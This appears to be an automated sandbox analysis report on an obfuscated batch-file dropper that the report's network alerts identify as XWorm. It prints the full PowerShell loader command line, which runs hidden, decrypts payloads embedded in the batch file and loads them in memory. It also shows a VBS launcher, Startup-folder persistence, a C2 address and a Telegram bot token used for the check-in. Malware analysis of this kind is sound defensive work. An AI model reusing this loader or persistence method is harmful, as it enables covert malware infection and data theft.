Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vm3jrczk.avh.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vzsnep13.ej2.psm1

Download File

Process:	C:\Users\user\AppData\Local\Temp\e45iasd.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zqz4oskb.54h.psm1

Download File

Process:	C:\Users\user\AppData\Local\Temp\e45iasd.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\e45iasd.exe

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	452608
Entropy (8bit):	5.459268466661775
Encrypted:	false
SSDEEP:	6144:r2fdXxswSX0z/YWwO9sV1yZywi/PzNKXzJ7BapCK5d3klRzULOnWyjLsPhAQzqO:qVXqXEgW2KXzJ4pdd3klnnWosPhnzq
MD5:	04029E121A0CFA5991749937DD22A1D9
SHA1:	F43D9BB316E30AE1A3494AC5B0624F6BEA1BF054
SHA-256:	9F914D42706FE215501044ACD85A32D58AAEF1419D404FDDFA5D3B48F66CCD9F
SHA-512:	6A2FB055473033FD8FDB8868823442875B5B60C115031AAEDA688A35A092F6278E8687E2AE2B8DC097F8F3F35D23959757BF0C408274A2EF5F40DDFA4B5C851B
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: PollosAplicaccion.bat, Detection: malicious, Browse Filename: gcapi64.cmd, Detection: malicious, Browse Filename: fed1bc0d4bf498ec8909dbc96118bda13606c389fa2d381a2a138ea63b69de3a_dump2.dll.dll, Detection: malicious, Browse Filename: fed1bc0d4bf498ec8909dbc96118bda13606c389fa2d381a2a138ea63b69de3a_dump2.dll.dll, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: BrowserUpdater.lnk, Detection: malicious, Browse Filename: Updater.lnk, Detection: malicious, Browse Filename: ZG7UaFRPVW.exe, Detection: malicious, Browse Filename: IN-34823_PO39276-pdf.vbe, Detection: malicious, Browse Filename: 7XU2cRFInT.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......./..%k.ovk.ovk.ovu..vi.ovb..va.ov..lwi.ov..kwq.ovk.nv.ov..nwn.ov..jwb.ov..bwb.ov..vj.ov..mwj.ovRichk.ov........................PE..d....A.~.........."..........^......@=.........@..........................................`.......... .......................................L...........}...p..........................T......................(..................`................................text............................... ..`.rdata.............................@..@.data...,....`.......L..............@....pdata.......p.......T..............@..@.rsrc....}.......~...^..............@..@.reloc..............................@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\e45iasd.lnk

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Thu Aug 22 10:11:20 2024, mtime=Thu Aug 22 10:11:20 2024, atime=Thu Aug 22 10:11:20 2024, length=452608, window=hide
Category:	dropped
Size (bytes):	1051
Entropy (8bit):	4.991339109656745
Encrypted:	false
SSDEEP:	24:8aRWklilnrRxgK0c6KBOAlwZ+63fe7PK2B2jOqygm:8aRWkli5rRm/AlwZ+63WgLyg
MD5:	C9D130C4780164C1496322FD114C1132
SHA1:	1B1D24D5D53A4251ABA131E709806D8C853CAE55
SHA-256:	07247335A0B706EE11B98A32F01E48E64C4393B9C1A6ECEC2D2528A3BE11AF71
SHA-512:	3067CA305FEA1A2316C677953A876A47D96077C5E5AE2FD0CC39B49DEC8B4A0606180157E994DFB4569C46403EC2447D3A0A37EB93A8429EB1C71BBE55DEFA30
Malicious:	true
Preview:	L..................F.... .....N.......N.......N...............................:..DG..Yr?.D..U..k0.&...&.......bBDj...0..................t...CFSF..1.....EWsG..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......EWsG.Y]Y..........................=...A.p.p.D.a.t.a...B.P.1......Y[Y..Local.<......EWsG.Y]Y..........................(..L.o.c.a.l.....N.1......YgY..Temp..:......EWsG.YgY..........................v..T.e.m.p.....b.2......YkY .e45iasd.exe.H.......YkY.YkY....^......................%..e.4.5.i.a.s.d...e.x.e.......[...............-.......Z...........G.n......C:\Users\user\AppData\Local\Temp\e45iasd.exe..(.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.e.4.5.i.a.s.d...e.x.e.............:...........\|....I.J.H..K..:...`.......X.......724536...........hT..CrF.f4... ..$.Aw`...,...E...hT..CrF.f4... ..$.Aw`...,...E..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.2.6.5.8.-.3.6.9.3.4.0.5.1.1.7.-.2.4.7.6.7.5.6.6.3.4.-.1.0.0.3.........9...1SPS..mD..

C:\Users\user\AppData\Roaming\startup_str_616.bat

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	DOS batch file, ASCII text, with very long lines (62943), with CRLF line terminators
Category:	dropped
Size (bytes):	282115
Entropy (8bit):	6.083764870765764
Encrypted:	false
SSDEEP:	6144:h1E5NlqQRcu+pHfFQS7w1bUyntarmxcGqKxH1279F:h1E5qz9H9T7w1bUotqgRH+
MD5:	536AC91B5FE6A53FD85F5D7B609DC591
SHA1:	5FB565C1BEC3E386642E921C34EA365FBCB07127
SHA-256:	AE4100252450220B4F7D39214D4660894EE149D9C96A885F844F0652283198E9
SHA-512:	B47AEBA5A1ABDCD8B1B6BA67663FB199FCA22A21C1417AA830D042268F6C810B9ABF246B964D7DC76497B009F8D54E77C1B0F38E5C775097B9FA15DBD19B748F
Malicious:	true
Preview:	@echo off..%mytRumAlwRAyylcRzqrS%s%mytRumAlwRAyylcRzqrS%e%mytRumAlwRAyylcRzqrS%t%mytRumAlwRAyylcRzqrS%l%mytRumAlwRAyylcRzqrS%o%mytRumAlwRAyylcRzqrS%c%mytRumAlwRAyylcRzqrS%a%mytRumAlwRAyylcRzqrS%l%mytRumAlwRAyylcRzqrS% %mytRumAlwRAyylcRzqrS%e%mytRumAlwRAyylcRzqrS%n%mytRumAlwRAyylcRzqrS%a%mytRumAlwRAyylcRzqrS%b%mytRumAlwRAyylcRzqrS%l%mytRumAlwRAyylcRzqrS%e%mytRumAlwRAyylcRzqrS%d%mytRumAlwRAyylcRzqrS%e%mytRumAlwRAyylcRzqrS%l%mytRumAlwRAyylcRzqrS%a%mytRumAlwRAyylcRzqrS%y%mytRumAlwRAyylcRzqrS%e%mytRumAlwRAyylcRzqrS%d%mytRumAlwRAyylcRzqrS%e%mytRumAlwRAyylcRzqrS%x%mytRumAlwRAyylcRzqrS%p%mytRumAlwRAyylcRzqrS%a%mytRumAlwRAyylcRzqrS%n%mytRumAlwRAyylcRzqrS%s%mytRumAlwRAyylcRzqrS%i%mytRumAlwRAyylcRzqrS%o%mytRumAlwRAyylcRzqrS%n%mytRumAlwRAyylcRzqrS%..set "CDtYvRJiyIBQcHuSWQcP=s"..set "ELecHCQstnjcPFISRcpp=t"..set "OUcGaISKHOvQJLSfisIC=!CDtYvRJiyIBQcHuSWQcP!e!ELecHCQstnjcPFISRcpp!"..!OUcGaISKHOvQJLSfisIC! "XKDjohkzWP=net "..!OUcGaISKHOvQJLSfisIC! "gtnZFFIYXW=file"..!OUcGaISKHOvQJLSfisIC! "NPVRdaQJIF

C:\Users\user\AppData\Roaming\startup_str_616.bat:Zone.Identifier

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Roaming\startup_str_616.vbs

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	114
Entropy (8bit):	4.808657532006695
Encrypted:	false
SSDEEP:	3:FER/8ClVRK+pn2HoqLTVSREaKC5DXy74UTz4Hhn:FERblVR/p2IqLTwiaZ5DXyQ
MD5:	A67CC5576CAFD563589525C07A083BD4
SHA1:	31661F71346B571F6E9D39B158129CF2D53F6F80
SHA-256:	1A7EDB09533B935471922D084074592FFF865D2A773EE486736F9849FEC092FF
SHA-512:	12A4BD1746A77421ED710FCC772E91120713C6E6E08608CE0B2932FCDB3401A05B58EA1F7DD11E6CEB7E748E90E9AB83E4635E9B4588CBC811CDD3D036066011
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Preview:	CreateObject(Replace("WScript.Shell","SubChar","")).Run """C:\Users\user\AppData\Roaming\startup_str_616.bat""", 0

\Device\Null

Download File

Process:	C:\Windows\System32\net1.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	37
Entropy (8bit):	3.6408290408368487
Encrypted:	false
SSDEEP:	3:gAxKEUTaa:gAMEe
MD5:	768165E0ABF16BF3056836D5431A7296
SHA1:	9FB3196BE60E49BFC319EBD9E0B103954D711E34
SHA-256:	B44C505B721E93E2A596577018CC65B993CD632B9FE7620A4B3DB54031AFFF5D
SHA-512:	1250EC40BA20F39A5B9A3AAFD45C63CB6F1BF48B89ACCE1F885470C936FB48A803081943C68458BA1ADCE92D5FE79D3E45682285F56ECB29884D41974269992D
Malicious:	false
Preview:	There are no entries in the list.....

Static File Info

General

File type:	DOS batch file, ASCII text, with very long lines (62943), with CRLF line terminators
Entropy (8bit):	6.083764870765764
TrID:
File name:	Pollosappnuevo.bat
File size:	282'115 bytes
MD5:	536ac91b5fe6a53fd85f5d7b609dc591
SHA1:	5fb565c1bec3e386642e921c34ea365fbcb07127
SHA256:	ae4100252450220b4f7d39214d4660894ee149d9c96a885f844f0652283198e9
SHA512:	b47aeba5a1abdcd8b1b6ba67663fb199fca22a21c1417aa830d042268f6c810b9abf246b964d7dc76497b009f8d54e77c1b0f38e5c775097b9fa15dbd19b748f
SSDEEP:	6144:h1E5NlqQRcu+pHfFQS7w1bUyntarmxcGqKxH1279F:h1E5qz9H9T7w1bUotqgRH+
TLSH:	7154BDB713B1EE64CFA4D6B5A55D0C157A3E0226330AC47E89BA4CDCD0E17220D67BDA
File Content Preview:	@echo off..%mytRumAlwRAyylcRzqrS%s%mytRumAlwRAyylcRzqrS%e%mytRumAlwRAyylcRzqrS%t%mytRumAlwRAyylcRzqrS%l%mytRumAlwRAyylcRzqrS%o%mytRumAlwRAyylcRzqrS%c%mytRumAlwRAyylcRzqrS%a%mytRumAlwRAyylcRzqrS%l%mytRumAlwRAyylcRzqrS% %mytRumAlwRAyylcRzqrS%e%mytRumAlwRAyy

File Icon


Icon Hash:	9686878b929a9886

Network Behavior

Suricata IDS Alerts

Timestamp	Protocol	SID	Signature	Severity	Source Port	Dest Port	Source IP	Dest IP
2024-08-22T13:12:35.763456+0200	TCP	2855924	ETPRO MALWARE Win32/XWorm V3 CnC Command - PING Outbound	1	49723	2404	192.168.2.9	95.98.144.201
2024-08-22T13:11:23.227185+0200	TCP	2853685	ETPRO MALWARE Win32/XWorm Checkin via Telegram	1	49717	443	192.168.2.9	149.154.167.220

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 22, 2024 13:11:22.187124968 CEST	49717	443	192.168.2.9	149.154.167.220
Aug 22, 2024 13:11:22.187156916 CEST	443	49717	149.154.167.220	192.168.2.9
Aug 22, 2024 13:11:22.187352896 CEST	49717	443	192.168.2.9	149.154.167.220
Aug 22, 2024 13:11:22.194412947 CEST	49717	443	192.168.2.9	149.154.167.220
Aug 22, 2024 13:11:22.194425106 CEST	443	49717	149.154.167.220	192.168.2.9
Aug 22, 2024 13:11:22.829726934 CEST	443	49717	149.154.167.220	192.168.2.9
Aug 22, 2024 13:11:22.829802036 CEST	49717	443	192.168.2.9	149.154.167.220
Aug 22, 2024 13:11:22.831850052 CEST	49717	443	192.168.2.9	149.154.167.220
Aug 22, 2024 13:11:22.831860065 CEST	443	49717	149.154.167.220	192.168.2.9
Aug 22, 2024 13:11:22.832115889 CEST	443	49717	149.154.167.220	192.168.2.9
Aug 22, 2024 13:11:22.838433027 CEST	49717	443	192.168.2.9	149.154.167.220
Aug 22, 2024 13:11:22.880541086 CEST	443	49717	149.154.167.220	192.168.2.9
Aug 22, 2024 13:11:23.227217913 CEST	443	49717	149.154.167.220	192.168.2.9
Aug 22, 2024 13:11:23.227287054 CEST	443	49717	149.154.167.220	192.168.2.9
Aug 22, 2024 13:11:23.227340937 CEST	49717	443	192.168.2.9	149.154.167.220
Aug 22, 2024 13:11:23.235343933 CEST	49717	443	192.168.2.9	149.154.167.220
Aug 22, 2024 13:11:23.409872055 CEST	49718	2404	192.168.2.9	95.98.144.201
Aug 22, 2024 13:11:23.415710926 CEST	2404	49718	95.98.144.201	192.168.2.9
Aug 22, 2024 13:11:23.415790081 CEST	49718	2404	192.168.2.9	95.98.144.201
Aug 22, 2024 13:11:23.506617069 CEST	49718	2404	192.168.2.9	95.98.144.201
Aug 22, 2024 13:11:23.511535883 CEST	2404	49718	95.98.144.201	192.168.2.9
Aug 22, 2024 13:11:35.470957994 CEST	49718	2404	192.168.2.9	95.98.144.201
Aug 22, 2024 13:11:35.475816011 CEST	2404	49718	95.98.144.201	192.168.2.9
Aug 22, 2024 13:11:44.785048962 CEST	2404	49718	95.98.144.201	192.168.2.9
Aug 22, 2024 13:11:44.785130024 CEST	49718	2404	192.168.2.9	95.98.144.201
Aug 22, 2024 13:11:44.794192076 CEST	49718	2404	192.168.2.9	95.98.144.201
Aug 22, 2024 13:11:44.798960924 CEST	2404	49718	95.98.144.201	192.168.2.9
Aug 22, 2024 13:11:44.804176092 CEST	49719	2404	192.168.2.9	95.98.144.201
Aug 22, 2024 13:11:44.809031010 CEST	2404	49719	95.98.144.201	192.168.2.9
Aug 22, 2024 13:11:44.809113979 CEST	49719	2404	192.168.2.9	95.98.144.201
Aug 22, 2024 13:11:44.832551956 CEST	49719	2404	192.168.2.9	95.98.144.201
Aug 22, 2024 13:11:44.841609001 CEST	2404	49719	95.98.144.201	192.168.2.9
Aug 22, 2024 13:11:55.375188112 CEST	49719	2404	192.168.2.9	95.98.144.201
Aug 22, 2024 13:11:55.380157948 CEST	2404	49719	95.98.144.201	192.168.2.9
Aug 22, 2024 13:12:05.763204098 CEST	49719	2404	192.168.2.9	95.98.144.201
Aug 22, 2024 13:12:05.768023968 CEST	2404	49719	95.98.144.201	192.168.2.9
Aug 22, 2024 13:12:06.207626104 CEST	2404	49719	95.98.144.201	192.168.2.9
Aug 22, 2024 13:12:06.207716942 CEST	49719	2404	192.168.2.9	95.98.144.201
Aug 22, 2024 13:12:07.887938023 CEST	49719	2404	192.168.2.9	95.98.144.201
Aug 22, 2024 13:12:07.892832994 CEST	2404	49719	95.98.144.201	192.168.2.9
Aug 22, 2024 13:12:07.905164957 CEST	49722	2404	192.168.2.9	95.98.144.201
Aug 22, 2024 13:12:07.909967899 CEST	2404	49722	95.98.144.201	192.168.2.9
Aug 22, 2024 13:12:07.910056114 CEST	49722	2404	192.168.2.9	95.98.144.201
Aug 22, 2024 13:12:07.927520037 CEST	49722	2404	192.168.2.9	95.98.144.201
Aug 22, 2024 13:12:07.932379961 CEST	2404	49722	95.98.144.201	192.168.2.9
Aug 22, 2024 13:12:21.560128927 CEST	49722	2404	192.168.2.9	95.98.144.201
Aug 22, 2024 13:12:21.565747976 CEST	2404	49722	95.98.144.201	192.168.2.9
Aug 22, 2024 13:12:29.289913893 CEST	2404	49722	95.98.144.201	192.168.2.9
Aug 22, 2024 13:12:29.290071964 CEST	49722	2404	192.168.2.9	95.98.144.201
Aug 22, 2024 13:12:30.684946060 CEST	49722	2404	192.168.2.9	95.98.144.201
Aug 22, 2024 13:12:30.689858913 CEST	2404	49722	95.98.144.201	192.168.2.9
Aug 22, 2024 13:12:30.704170942 CEST	49723	2404	192.168.2.9	95.98.144.201
Aug 22, 2024 13:12:30.709247112 CEST	2404	49723	95.98.144.201	192.168.2.9
Aug 22, 2024 13:12:30.709429979 CEST	49723	2404	192.168.2.9	95.98.144.201
Aug 22, 2024 13:12:30.726603985 CEST	49723	2404	192.168.2.9	95.98.144.201
Aug 22, 2024 13:12:30.731487036 CEST	2404	49723	95.98.144.201	192.168.2.9
Aug 22, 2024 13:12:35.763456106 CEST	49723	2404	192.168.2.9	95.98.144.201
Aug 22, 2024 13:12:35.768405914 CEST	2404	49723	95.98.144.201	192.168.2.9
Aug 22, 2024 13:12:38.654943943 CEST	49723	2404	192.168.2.9	95.98.144.201
Aug 22, 2024 13:12:38.659805059 CEST	2404	49723	95.98.144.201	192.168.2.9
Aug 22, 2024 13:12:41.591564894 CEST	49723	2404	192.168.2.9	95.98.144.201
Aug 22, 2024 13:12:41.596470118 CEST	2404	49723	95.98.144.201	192.168.2.9
Aug 22, 2024 13:12:45.654145956 CEST	49723	2404	192.168.2.9	95.98.144.201
Aug 22, 2024 13:12:45.659104109 CEST	2404	49723	95.98.144.201	192.168.2.9
Aug 22, 2024 13:12:47.591379881 CEST	49723	2404	192.168.2.9	95.98.144.201
Aug 22, 2024 13:12:47.596373081 CEST	2404	49723	95.98.144.201	192.168.2.9
Aug 22, 2024 13:12:52.013223886 CEST	49723	2404	192.168.2.9	95.98.144.201
Aug 22, 2024 13:12:52.018187046 CEST	2404	49723	95.98.144.201	192.168.2.9
Aug 22, 2024 13:12:52.075758934 CEST	49723	2404	192.168.2.9	95.98.144.201
Aug 22, 2024 13:12:52.080786943 CEST	2404	49723	95.98.144.201	192.168.2.9
Aug 22, 2024 13:12:52.083328962 CEST	2404	49723	95.98.144.201	192.168.2.9
Aug 22, 2024 13:12:52.083379984 CEST	49723	2404	192.168.2.9	95.98.144.201
Aug 22, 2024 13:12:52.083444118 CEST	49723	2404	192.168.2.9	95.98.144.201
Aug 22, 2024 13:12:52.088187933 CEST	2404	49723	95.98.144.201	192.168.2.9
Aug 22, 2024 13:12:52.089941978 CEST	49724	2404	192.168.2.9	95.98.144.201
Aug 22, 2024 13:12:52.094764948 CEST	2404	49724	95.98.144.201	192.168.2.9
Aug 22, 2024 13:12:52.094825983 CEST	49724	2404	192.168.2.9	95.98.144.201
Aug 22, 2024 13:12:52.116802931 CEST	49724	2404	192.168.2.9	95.98.144.201
Aug 22, 2024 13:12:52.121594906 CEST	2404	49724	95.98.144.201	192.168.2.9
Aug 22, 2024 13:12:52.216404915 CEST	49724	2404	192.168.2.9	95.98.144.201
Aug 22, 2024 13:12:52.221457005 CEST	2404	49724	95.98.144.201	192.168.2.9
Aug 22, 2024 13:12:52.263138056 CEST	49724	2404	192.168.2.9	95.98.144.201
Aug 22, 2024 13:12:52.268028021 CEST	2404	49724	95.98.144.201	192.168.2.9
Aug 22, 2024 13:13:04.029068947 CEST	49724	2404	192.168.2.9	95.98.144.201
Aug 22, 2024 13:13:04.034118891 CEST	2404	49724	95.98.144.201	192.168.2.9
Aug 22, 2024 13:13:13.476423025 CEST	2404	49724	95.98.144.201	192.168.2.9
Aug 22, 2024 13:13:13.476505041 CEST	49724	2404	192.168.2.9	95.98.144.201

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 22, 2024 13:11:22.174089909 CEST	54056	53	192.168.2.9	1.1.1.1
Aug 22, 2024 13:11:22.181894064 CEST	53	54056	1.1.1.1	192.168.2.9

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Aug 22, 2024 13:11:22.174089909 CEST	192.168.2.9	1.1.1.1	0x4849	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Aug 22, 2024 13:11:22.181894064 CEST	1.1.1.1	192.168.2.9	0x4849	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

api.telegram.org

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49717	149.154.167.220	443	5264	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:11:22 UTC	481	OUT	GET /bot6421494903:AAFuoWigwh2-oDYMZFAWqzFsbHJABidzW1Q/sendMessage?chat_id=6421494903:AAFuoWigwh2-oDYMZFAWqzFsbHJABidzW1Q&text=%E2%98%A0%20%5BXWorm%20V5.2%5D%0D%0A%0D%0ANew%20Clinet%20:%20%0D%0A34B1CC6324AA14E91F87%0D%0A%0D%0AUserName%20:%20user%0D%0AOSFullName%20:%20Microsoft%20Windows%2010%20Pro%0D%0AUSB%20:%20False%0D%0ACPU%20:%20Error%0D%0AGPU%20:%20NW4C52%20%0D%0ARAM%20:%207.99%20GB%0D%0AGroub%20:%20XWorm%20V5.2 HTTP/1.1 Host: api.telegram.org Connection: Keep-Alive
2024-08-22 11:11:23 UTC	344	IN	HTTP/1.1 403 Forbidden Server: nginx/1.18.0 Date: Thu, 22 Aug 2024 11:11:23 GMT Content-Type: application/json Content-Length: 89 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-08-22 11:11:23 UTC	89	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 33 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 46 6f 72 62 69 64 64 65 6e 3a 20 62 6f 74 73 20 63 61 6e 27 74 20 73 65 6e 64 20 6d 65 73 73 61 67 65 73 20 74 6f 20 62 6f 74 73 22 7d Data Ascii: {"ok":false,"error_code":403,"description":"Forbidden: bots can't send messages to bots"}

Target ID:	0
Start time:	07:10:59
Start date:	22/08/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\Pollosappnuevo.bat" "
Imagebase:	0x7ff724670000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	07:10:59
Start date:	22/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	07:10:59
Start date:	22/08/2024
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net file
Imagebase:	0x7ff77fed0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	07:10:59
Start date:	22/08/2024
Path:	C:\Windows\System32\net1.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\net1 file
Imagebase:	0x7ff774490000
File size:	183'808 bytes
MD5 hash:	55693DF2BB3CBE2899DFDDF18B4EB8C9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	07:11:01
Start date:	22/08/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1IDZ0tblUPImy6+cAa/0r4ufKoB0X6q7gAxomXAbqns='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ojV8xek5mRtM5RXRDDIF7w=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $xCPmk=New-Object System.IO.MemoryStream(,$param_var); $wkaLh=New-Object System.IO.MemoryStream; $VHSAV=New-Object System.IO.Compression.GZipStream($xCPmk, [IO.Compression.CompressionMode]::Decompress); $VHSAV.CopyTo($wkaLh); $VHSAV.Dispose(); $xCPmk.Dispose(); $wkaLh.Dispose(); $wkaLh.ToArray();}function execute_function($param_var,$param2_var){ $cDSQK=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $xoAaG=$cDSQK.EntryPoint; $xoAaG.Invoke($null, $param2_var);}$ASmjg = 'C:\Users\user\Desktop\Pollosappnuevo.bat';$host.UI.RawUI.WindowTitle = $ASmjg;$eFpSQ=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($ASmjg).Split([Environment]::NewLine);foreach ($lDEYJ in $eFpSQ) { if ($lDEYJ.StartsWith(':: ')) { $dXBjK=$lDEYJ.Substring(3); break; }}$payloads_var=[string[]]$dXBjK.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
Imagebase:	0x7ff760310000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	07:11:04
Start date:	22/08/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
